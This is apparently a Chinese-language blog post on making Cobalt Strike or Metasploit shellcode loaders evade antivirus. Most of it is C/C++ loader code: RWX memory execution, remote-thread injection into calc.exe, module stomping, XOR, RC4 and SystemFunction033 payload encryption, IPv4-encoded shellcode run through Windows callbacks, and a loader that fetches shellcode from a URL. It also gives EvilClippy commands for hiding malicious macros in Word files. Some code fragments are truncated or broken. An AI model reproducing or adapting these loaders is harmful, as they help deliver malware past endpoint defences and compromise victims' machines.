注意:目前我已经没有使用任何公开的 C2 了,基本都是从 0 重构或者采用优秀的 C2 架构全模块重构,但是后面的内容是一定要看的,无论是武器化开发还是简单的绕绕 antivirus 产品,后面的内容是必经之路
编译器配置,这一步切记不可少,否则 64 位空代码直接飙到 6/71,因为 vs 默认编译是会留下特征的,想要做好免杀必须得清除编译的特征,最重要的就是调试信息得关闭!!!
参考:https://mp.weixin.qq.com/s/UJlVvagNjmy9E-B-XjBHyw
md 模式的程序是读的系统的 msvcrt.dll,生成的文件体积会小很多,因此报毒概率会小很多,但不是所有的 windows 都有 msvcrt.dll,因此如果要兼容效果,就必须要牺牲一定的报毒率。
调试信息会在 EXE 中带上你的编译路径,建议关闭
经过上面所说的配置以后,你会发现编译的普通 hello world 的 exe 的导入表还是存在无关的函数
CRT(即 C 运行时库)是 C 编程语言的标准接口。CRT 包含函数和宏的集合。为标准 C 和 C++ 程序提供基本功能。它包括内存管理函数(如 malloc、memset 和 free)、字符串操作函数(如 strcpy 和 strlen)和 I/O 函数(如 printf、wprintf 和 scanf)。
CRT DLL 文件名为 vcruntimeXXX.dll,其中 XXX 是正在使用的 CRT 库的版本号。还有 api-ms-win-crt-stdio-l1-1-0.dll、api-ms-win-crt-runtime-l1-1-0.dll 和 api-ms-win-crt 等 DLL 文件 - locale-l1-1-0.dll,也链接到 CRT 库。这些 DLL 中的每一个都执行特定的功能并导出多个函数。这些 DLL 文件在编译时由编译器链接,因此可以在生成的程序的导入表 (IAT) 中找到。
Hello World” 程序的 IAT 应该仅导入有关 printf 函数的信息,但它导入了以下函数
我们将多线程 MD 改为 MT
改完后 CRT 库消失了,但是导出函数更加多了
内存有很多种属性,下面是利用 VirtualAlloc 申请 RWX 内存空间,大小为 shellcode 大小
memcpy 是将 shellcode 存放进入该内存空间,最后以指针的方式标记为函数去执行内存中的 shellcode
这里需要大家去学习基本的 PE 文件结构、RVA、VA 等知识才能清晰认识到什么是内存
#include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口 unsigned char shellcode[] = "\x48....";
void main(){
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)();
}
隐藏窗口
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口 对于 stagless (完整型负荷) 如果 shellcode 太长,vs 编译器截断报错可以写到头文件中,再把 char 类型转为 string 类型
#include <iostream> #include <string> int main(){
unsigned char hexData[434706] = { /* 你的数据 */ };
std::string strData(reinterpret_cast<const char*>(hexData), sizeof(hexData));
return 0;
}
HeapAlloc 往往优势在于开辟的内存都是不可执行的,在堆中开辟,所以可以绕过许多内存监控
LPVOID Memory = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, shellcode.size() + 1);
memcpy(Memory, shellcode, sizeof(shellcode));
DWORD oldProtect = 0;
BOOL ret = VirtualProtect((LPVOID)Memory, shellcode.size(), PAGE_EXECUTE_READWRITE, &oldProtect);
((void(*)())Memory)();
#include <windows.h> void like(){
unsigned char data[] = "\x48...";
LPVOID fiber = ConvertThreadToFiber(NULL);
LPVOID Alloc = VirtualAlloc(NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
CopyMemory(Alloc, data, sizeof(data));
LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)Alloc, NULL);
SwitchToFiber(shellFiber);
}
int main(){
like();
}
https://www.freebuf.com/articles/system/228233.html
原理就是打开无害的 calc.exe 也就是计算器,对计算器 (calc.exe) 进行 shellcode 注入
提示“stdafx.h”: No such file or directory?其实stdafx.h就是studio.h和tchar.h
#include <stdio.h> #include <tchar.h> #include <Windows.h> #include <stdio.h> #include <tchar.h> #include "iostream" //隐藏运行程序时的cmd窗口 #pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
using namespace std;
//使用CS或msf生成的C语言格式的上线shellcode unsigned char shellcode[] = "\x48...";
BOOL injection()
{
wchar_t Cappname[MAX_PATH] = { 0 };
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID lpMalwareBaseAddr;
LPVOID lpnewVictimBaseAddr;
HANDLE hThread;
DWORD dwExitCode;
BOOL bRet = FALSE;
//把基地址设置为自己shellcode数组的起始地址
lpMalwareBaseAddr = shellcode;
//获取系统路径,拼接字符串找到calc.exe的路径
GetSystemDirectory(Cappname, MAX_PATH);
_tcscat(Cappname, L"\\calc.exe");
//打印注入提示 // printf("被注入的程序名:%S\r\n", Cappname);
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
//创建calc.exe进程 if (CreateProcess(Cappname, NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED//CREATE_SUSPENDED新进程的主线程会以暂停的状态被创建,直到调用ResumeThread函数被调用时才运行。
, NULL, NULL, &si, &pi) == 0)
{
return bRet;
}
//在
lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
, NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (lpnewVictimBaseAddr == NULL)
{
return bRet;
}
//远程线程注入过程
WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
(LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);
hThread = CreateRemoteThread(pi.hProcess, 0, 0,
(LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);
WaitForSingleObject(pi.hThread, INFINITE);
GetExitCodeProcess(pi.hProcess, &dwExitCode);
TerminateProcess(pi.hProcess, 0);
return bRet;
}
void help(char* proc)
{
// printf("%s:创建进程并将shellcode写入进程内存\r\n", proc);
}
int main(int argc, char* argv[])
{
help(argv[0]);
injection();
}
shellcode 可以存放进入云端,并不局限于本地
#include <iostream> #include <string> #include <stdexcept> #include <windows.h> #include <wininet.h> #pragma comment(lib, "wininet.lib") std::string getWebPageContent(const std::string& url){
HINTERNET hInternet = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0);
std::string result;
constexpr DWORD bufferSize = 4096;
char buffer[bufferSize];
DWORD bytesRead = 0;
while (InternetReadFile(hConnect, buffer, bufferSize, &bytesRead) && bytesRead > 0) {
result.append(buffer, bytesRead);
}
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return result;
}
int main(){
std::string url = "http://xxx.com";
std::string content = getWebPageContent(url);
std::cout << "Web page content:\n" << content << std::endl;
return 0;
}
宏 VB 免杀:https://github.com/outflanknl/EvilClippy
VS 打开终端输入下面命令生成 EXE 即可
csc /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs
将 CS 生成的 VBA 与不免杀的 hong.doc 混合
evilclippy.exe -s sb.vba hong.doc
切记生成使用 1997 年版本的 doc,否则报错
使用 -s 参数通过假的 vba 代码插入到模块中,用以混淆杀毒程序,这里我们需要写一个正常无毒的 vba 脚本,以下
Sub Hello()
Dim X
X=MsgBox("hello world!")
本地函数篡改注入指的是通过篡改或替代代码中的本地函数,来达到执行任意代码或修改程序行为的目的,这种方式避免了我们使用 VirtualAlloc 等高度监视的函数。就和我们上上节课讲的映射注入一样,通过将文件映射对象映射到内存,然后创建一个线程去执行其 shellcode 内存区域执行。
#include <stdio.h> #include <Windows.h> unsigned char shellcode[] = { 0xFC, , ....};
int main(){
PVOID pAddress = NULL;
DWORD dwOldProtection = NULL;
HANDLE hthread = NULL;
HMODULE hm = GetModuleHandleA("kernel32.dll");
pAddress = GetProcAddress(hm, "Wow64DisableWow64FsRedirection");
VirtualProtect(pAddress, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);
memcpy(pAddress, shellcode, sizeof(shellcode));
VirtualProtect(pAddress, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);
hthread = CreateThread(NULL, NULL, pAddress, NULL, NULL, NULL);
if (hthread != NULL){
WaitForSingleObject(hthread, INFINITE);
printf("1231231321");}
异或既简单也不敏感 (前提是你的异或 key 要长)
#include <iostream> #include <windows.h> using namespace std;
void main(){
unsigned char shellcode[] = "";
int len_shellcode = 927;
for (int i = 0; i < len_shellcode; i++)
{
shellcode[i] ^= ;
}
for (int i = 0; i < len_shellcode; i++)
{
cout << R"(\x)" << hex << (int)(unsigned)shellcode[i];
}
}
#include <iostream> #include <windows.h> using namespace std;
void main(){
unsigned char shellcode[] = "";
for (int i = 0; i < sizeof(shellcode); i++)
{
shellcode[i] ^= ;
}
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)();
}
也可以等 shellcode 加载进内存后再做异或更为安全
VOID Xor(PBYTE pbBuffer, SIZE_T dwSize){
const char szKey[] = {, , , , , , , , , , , , , , , };
for (int i = 0; i < dwSize; i++) {
*(pbBuffer + i) ^= szKey[i % sizeof szKey];
}
}
...
memcpy(lpMem, shellcode.data(), shellcode.size());
Xor((PBYTE)lpMem, dwSize);
..............
https://blog.csdn.net/m0_51345235/article/details/132793196
#include <stdio.h> #include <windows.h> #include <iostream> using namespace std;
unsigned char T[256] = { 0 };
int rc4_init(unsigned char* s, unsigned char* key, unsigned long Len){
int i = 0, j = 0;
unsigned char t[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++) {
s[i] = i;
t[i] = key[i % Len];
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + t[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
for (int i = 0; i < 256; i++)
{
T[i] = s[i];
cout << "0x" << hex << (int)T[i] << ',';
}
cout << endl;
return 0;
}
int rc4_crypt(unsigned char* s, unsigned char* buf, unsigned long Len){
int i = 0, j = 0, t = 0;
unsigned char tmp;
for (int k = 0; k < Len; k++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
buf[k] ^= s[t];
}
return 0;
}
unsigned int main(){
char key[] = "hhh";
unsigned char buf[] =
"encrypt_shellcode";
unsigned char s[256];
rc4_init(s, (unsigned char*)key, strlen(key));
for (size_t i = 0; i < sizeof(buf); i++)
{
rc4_crypt(s, &buf[i], sizeof(buf[i]));
printf("\\x%02x", buf[i]);
}
}
https://blog.csdn.net/m0_51345235/article/details/132793196
#include <stdio.h> #include <windows.h> #include <iostream> using namespace std;
unsigned char T[256] = { 0 };
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口 int rc4_init(unsigned char* s, unsigned char* key, unsigned long Len){
int i = 0, j = 0;
unsigned char t[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++) {
s[i] = i;
t[i] = key[i % Len];
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + t[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
for (int i = 0; i < 256; i++)
{
T[i] = s[i];
cout << "0x" << hex << (int)T[i] << ',';
}
cout << endl;
return 0;
}
int rc4_crypt(unsigned char* s, unsigned char* buf, unsigned long Len){
int i = 0, j = 0, t = 0;
unsigned char tmp;
for (int k = 0; k < Len; k++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
buf[k] ^= s[t];
}
return 0;
}
unsigned int main(){
char key[] = "hhh";
unsigned char buf[] =
"\x3802";
unsigned char s[256];
rc4_init(s, (unsigned char*)key, strlen(key));
for (size_t i = 0; i < sizeof(buf); i++)
{
rc4_crypt(s, &buf[i], sizeof(buf[i]));
}
LPVOID add = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(add, buf, sizeof(buf));
HANDLE handle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)add, 0, 0, 0);
WaitForSingleObject(handle, INFINITE);
return 0;
}
import base64
with open("payload.bin","rb") as f:
all=f.read()
array=[]
for i in all:
array.append(i^8)
#print(bytearray(array)) print(base64.b64encode(bytearray(array)))
#include "base64.h" #include <algorithm> #include <stdexcept> static const char* base64_chars[2] = {
"ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789" "+/",
"ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789" "-_" };
static unsigned int pos_of_char(const unsigned char chr){
if (chr >= 'A' && chr <= 'Z') return chr - 'A';
else if (chr >= 'a' && chr <= 'z') return chr - 'a' + ('Z' - 'A') + 1;
else if (chr >= '0' && chr <= '9') return chr - '0' + ('Z' - 'A') + ('z' - 'a') + 2;
else if (chr == '+' || chr == '-') return 62; // Be liberal with input and accept both url ('-') and non-url ('+') base 64 characters ( else if (chr == '/' || chr == '_') return 63; // Ditto for '/' and '_' else throw std::runtime_error("Input is not valid base64-encoded data.");
}
static std::string insert_linebreaks(std::string str, size_t distance){
if (!str.length()) {
return "";
}
size_t pos = distance;
while (pos < str.size()) {
str.insert(pos, "\n");
pos += distance + 1;
}
return str;
}
template <typename String, unsigned int line_length>
static std::string encode_with_line_breaks(String s){
return insert_linebreaks(base64_encode(s, false), line_length);
}
template <typename String>
static std::string encode_pem(String s){
return encode_with_line_breaks<String, 64>(s);
}
template <typename String>
static std::string encode_mime(String s){
return encode_with_line_breaks<String, 76>(s);
}
template <typename String>
static std::string encode(String s, bool url){
return base64_encode(reinterpret_cast<const unsigned char*>(s.data()), s.length(), url);
}
std::string base64_encode(unsigned char const* bytes_to_encode, size_t in_len, bool url){
size_t len_encoded = (in_len + 2) / 3 * 4;
unsigned char trailing_char = url ? '.' : '=';
const char* base64_chars_ = base64_chars[url];
std::string ret;
ret.reserve(len_encoded);
unsigned int pos = 0;
while (pos < in_len) {
ret.push_back(base64_chars_[(bytes_to_encode[pos + 0] & 0xfc) >> 2]);
if (pos + 1 < in_len) {
ret.push_back(base64_chars_[((bytes_to_encode[pos + 0] & ) << 4) + ((bytes_to_encode[pos + 1] & 0xf0) >> 4)]);
if (pos + 2 < in_len) {
ret.push_back(base64_chars_[((bytes_to_encode[pos + 1] & ) << 2) + ((bytes_to_encode[pos + 2] & 0xc0) >> 6)]);
ret.push_back(base64_chars_[bytes_to_encode[pos + 2] & ]);
}
else {
ret.push_back(base64_chars_[(bytes_to_encode[pos + 1] & ) << 2]);
ret.push_back(trailing_char);
}
}
else {
ret.push_back(base64_chars_[(bytes_to_encode[pos + 0] & ) << 4]);
ret.push_back(trailing_char);
ret.push_back(trailing_char);
}
pos += 3;
}
return ret;
}
template <typename String>
static std::string decode(String encoded_string, bool remove_linebreaks){
if (encoded_string.empty()) return std::string();
if (remove_linebreaks) {
std::string copy(encoded_string);
copy.erase(std::remove(copy.begin(), copy.end(), '\n'), copy.end());
return base64_decode(copy, false);
}
size_t length_of_string = encoded_string.length();
size_t pos = 0;
size_t approx_length_of_decoded_string = length_of_string / 4 * 3;
std::string ret;
ret.reserve(approx_length_of_decoded_string);
while (pos < length_of_string) {
size_t pos_of_char_1 = pos_of_char(encoded_string[pos + 1]);
ret.push_back(static_cast<std::string::value_type>(((pos_of_char(encoded_string[pos + 0])) << 2) + ((pos_of_char_1 & ) >> 4)));
if ((pos + 2 < length_of_string) &&
encoded_string[pos + 2] != '=' &&
encoded_string[pos + 2] != '.'
)
{
unsigned int pos_of_char_2 = pos_of_char(encoded_string[pos + 2]);
ret.push_back(static_cast<std::string::value_type>(((pos_of_char_1 & ) << 4) + ((pos_of_char_2 & ) >> 2)));
if ((pos + 3 < length_of_string) &&
encoded_string[pos + 3] != '=' &&
encoded_string[pos + 3] != '.'
)
{
ret.push_back(static_cast<std::string::value_type>(((pos_of_char_2 & ) << 6) + pos_of_char(encoded_string[pos + 3])));
}
}
pos += 4;
}
return ret;
}
std::string base64_decode(std::string const& s, bool remove_linebreaks){
return decode(s, remove_linebreaks);
}
std::string base64_encode(std::string const& s, bool url){
return encode(s, url);
}
std::string base64_encode_pem(std::string const& s){
return encode_pem(s);
}
std::string base64_encode_mime(std::string const& s){
return encode_mime(s);
}
#if __cplusplus >= 201703L std::string base64_encode(std::string_view s, bool url){
return encode(s, url);
}
std::string base64_encode_pem(std::string_view s){
return encode_pem(s);
}
std::string base64_encode_mime(std::string_view s){
return encode_mime(s);
}
std::string base64_decode(std::string_view s, bool remove_linebreaks){
return decode(s, remove_linebreaks);
}
#endif // __cplusplus >= 201703L #pragma once const int XOR_KEY{ 8 };
#ifndef BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A #define BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A #include <string> #if __cplusplus >= 201703L #include <string_view> #endif // __cplusplus >= 201703L std::string base64_encode(std::string const& s, bool url = false);
std::string base64_encode_pem(std::string const& s);
std::string base64_encode_mime(std::string const& s);
std::string base64_decode(std::string const& s, bool remove_linebreaks = false);
std::string base64_encode(unsigned char const*, size_t len, bool url = false);
#if __cplusplus >= 201703L std::string base64_encode(std::string_view s, bool url = false);
std::string base64_encode_pem(std::string_view s);
std::string base64_encode_mime(std::string_view s);
std::string base64_decode(std::string_view s, bool remove_linebreaks = false);
#endif // __cplusplus >= 201703L #endif /* BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A */ #include <windows.h> #include <stdio.h> #include "base64.h" #include <string> #include <random> #include <vector> using namespace std;
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口
string rest2_reference = "xxx";
void runShellcode(LPVOID param){
auto func = ((void(*)())param);
func();
}
void main(){
string rest2_decoded = base64_decode(rest2_reference);
const char* S = rest2_decoded.c_str();
vector<uint8_t> shellcode;
for (int j = 0; j < rest2_decoded.length(); j++) {
shellcode.push_back(S[j] ^ XOR_KEY);
}
auto alloc = ::VirtualAlloc(
NULL,
shellcode.size() + 1,
MEM_COMMIT,
PAGE_READWRITE
);
memcpy(alloc, shellcode.data(), shellcode.size());
DWORD old;
VirtualProtect(alloc, shellcode.size() + 1, Shellcode_Memory_Protection, &old);
shellcode.clear();//清空vector<uint8_t>shellcode HandlePtr thread(NULL, &::CloseHandle);
thread.reset(::CreateThread(
NULL,
0,
(LPTHREAD_START_ROUTINE)runShellcode,
alloc,
0,
0
));
WaitForSingleObject(thread.get(), INFINITE);
}
std::string replace(const std::string& inStr, const char* pSrc, const char* pReplace){
std::string str = inStr;
std::string::size_type stStart = 0;
std::string::iterator iter = str.begin();
while (iter != str.end())
{
std::string::size_type st = str.find(pSrc, stStart);
if (st == str.npos)
{
break;
}
iter = iter + st - stStart;
str.replace(iter, iter + strlen(pSrc), pReplace);
iter = iter + strlen(pReplace);
stStart = st + strlen(pReplace);
}
return str;
}
生成 raw 格式的 payload.bin,重心是这个是通过传参来加载的,配合 shellcode 免杀往往效果比较棒
ReadFile(File, exec, Size, &ReadSize, NULL);
这里使用 ReadFile 的形式将 shellcoce 给 copy 到内存中
#include<Windows.h> int main(int argc, char* argv[]){
DWORD Size;
DWORD ReadSize;
HANDLE File;
File = CreateFileA(argv[1], GENERIC_ALL, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (File == INVALID_HANDLE_VALUE)
{
return 0;
}
Size = GetFileSize(File, NULL);
void* exec = VirtualAlloc(0, Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
ReadFile(File, exec, Size, &ReadSize, NULL);
((void(*)())exec)();
}
很多 antivirus 会监控你的解密函数,如果是先解密再 memcpy 到内存,很有可能这一步就给你马子干掉了
所有回调函数手法:https://github.com/aahmad097/AlternativeShellcodeExec
将 shellcode 转 ipv4 地址并利用回调函数上线,现在这玩意已经玩烂了,antivirus 还是能应对,但重心是利用回调函数去执行内存中的 shellcode,关于更多回调利用手法可以看上面
import ipaddress
buf = b'''...''' # shellcode def convertToIPV4(shellcode):
if len(shellcode)%4 !=0:
print("\n[*] length:",len(shellcode)+(4-(len(shellcode)%4)))
addNullbyte = b"\x00" * (4-(len(shellcode)%4))
shellcode += addNullbyte
ipv4 = []
for i in range(0, len(shellcode), 4):
ipv4.append(str(ipaddress.IPv4Address(shellcode[i:i+4])))
return ipv4
if __name__ == '__main__':
r = convertToIPV4(buf)
print(str(r).replace("'","\""))
#include <Windows.h> #include <iostream> #include <ip2string.h> #pragma comment(lib, "Ntdll.lib") // shellcode -> ipv4 const char* ipv4[] =
{
"252.72.131.228", "240.232.200.0", ...";
for (int i = 0; i < elems; i++) {
if (RtlIpv4StringToAddressA(ipv4[i], FALSE, &Terminator, (in_addr*)hptr) == STATUS_INVALID_PARAMETER)
{
printf("ERROR!");
return 0;
}
hptr += 4;
}
// EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
// EnumTimeFormatsA((TIMEFMT_ENUMPROCA)ha, 0, 0);
// EnumWindows((WNDENUMPROC)ha, 0);
// EnumDesktopWindows(NULL,(WNDENUMPROC)ha, 0);
// EnumThreadWindows(0, (WNDENUMPROC)ha, 0);
// EnumSystemGeoID(0, 0, (GEO_ENUMPROC)ha);
// EnumSystemLanguageGroupsA((LANGUAGEGROUP_ENUMPROCA)ha, 0, 0);
EnumUILanguagesA((UILANGUAGE_ENUMPROCA)ha, 0, 0);
// EnumSystemCodePagesA((CODEPAGE_ENUMPROCA)ha, 0);
// EnumDesktopsW(NULL,(DESKTOPENUMPROCW)ha, NULL);
// EnumSystemCodePagesW((CODEPAGE_ENUMPROCW)ha, 0);
// EnumDateFormatsA((DATEFMT_ENUMPROCA)ha, 0, 0);
// EnumChildWindows(NULL, (WNDENUMPROC)ha, 0);
// CloseHandle(ha);
return 0;
}https://osandamalith.com/2022/11/10/encrypting-shellcode-using-systemfunction032-033/#more-4293
#include <windows.h> #include <stdio.h> typedef NTSTATUS(WINAPI* _SystemFunction033)(
struct ustring *memoryRegion,
struct ustring *keyPointer);
struct ustring {
DWORD Length;
DWORD MaximumLength;
PUCHAR Buffer;
} _data, key;
int main(){
printf("[*] RC4 Shellcode Encrypter using Systemfunction032/033\n");
_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");
char _key[] = "yourkey";
unsigned char shellcode[] = {
, ... };
key.Buffer = (PUCHAR)(&_key);
key.Length = sizeof key;
_data.Buffer = (PUCHAR)shellcode;
_data.Length = sizeof shellcode;
SystemFunction033(&_data, &key);
printf("\nunsigned char shellcode[] = { ");
for (size_t i = 0; i < _data.Length; i++) {
if (!(i % 16)) printf("\n ");
printf("0x%02x, ", _data.Buffer[i]);
if(i == _data.Length-1) printf("0x%02x };", _data.Buffer[i]);
}
}
#include <windows.h> /*
* RC4 Shellcode Decrypter using Systemfunction032/033
* Coded by: @OsandaMalith - www.osandamalith.com
*/ typedef NTSTATUS(WINAPI* _SystemFunction033)(
struct ustring *memoryRegion,
struct ustring *keyPointer);
struct ustring {
DWORD Length;
DWORD MaximumLength;
PUCHAR Buffer;
} _data, key;
int main(){
_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");
char _key[] = "yourkey";
unsigned char shellcode[] = {
, .... };
key.Buffer = (PUCHAR)(&_key);
key.Length = sizeof key;
_data.Buffer = (PUCHAR)shellcode;
_data.Length = sizeof shellcode;
SystemFunction033(&_data, &key);
DWORD oldProtect = 0;
BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
EnumFonts(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char*)shellcode, 0);
}
#include<Windows.h> #include<winhttp.h> #pragma comment(lib,"Winhttp.lib") unsigned char buf[] = "your_shellcode";
int main(INT argc, char* argv[]){
DWORD lpflOldProtect;
VirtualProtect(buf, sizeof buf / sizeof buf[0], PAGE_EXECUTE_READWRITE, &lpflOldProtect);
HINTERNET hSession = WinHttpOpen(L"User Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
WINHTTP_STATUS_CALLBACK callback = WinHttpSetStatusCallback(hSession, (WINHTTP_STATUS_CALLBACK)&buf, WINHTTP_CALLBACK_FLAG_HANDLES, 0);
WinHttpCloseHandle(hSession);
return 0;
}
#include <windows.h> #include <iostream> void* GetSbSectionAddress(){
HMODULE hModule = GetModuleHandle(NULL);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + pDosHeader->e_lfanew);
PIMAGE_SECTION_HEADER pSection = (pNtHeaders);
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++, pSection++) {
if (memcmp(pSection->Name, ".sb", 3) == 0) {
return (BYTE*)hModule + pSection->VirtualAddress;
}
}
return NULL;
}
int main(){
// char path[MAX_PATH]; // GetCurrentDirectoryA(MAX_PATH, path); // char* lastSlash = strrchr(path, '\\'); // if (strcmp(lastSlash + 1,"sb") != 0) // { // return 0; // } void* sbAddr = GetSbSectionAddress();
COPYFILE2_EXTENDED_PARAMETERS params;
params.dwSize = { sizeof(params) };
params.dwCopyFlags = COPY_FILE_FAIL_IF_EXISTS;
params.pfCancel = FALSE;
params.pProgressRoutine = (PCOPYFILE2_PROGRESS_ROUTINE)sbAddr;
params.pvCallbackContext = nullptr;
::DeleteFileW(L"C:\\Windows\\Temp\\backup.log");
::CopyFile2(L"C:\\Windows\\DirectX.log", L"C:\\Windows\\Temp\\backup.log", ¶ms);
return 0;
}
项目地址
感谢以下项目及作者提供的帮助
我这个太潦草了
强烈推荐下面项目:美观又全面
【古 L 站掌管 Business2api 的神】批量、自动注册 / 刷新、多模态、多账户轮询、优雅 Web
CooooooKK 佬太强了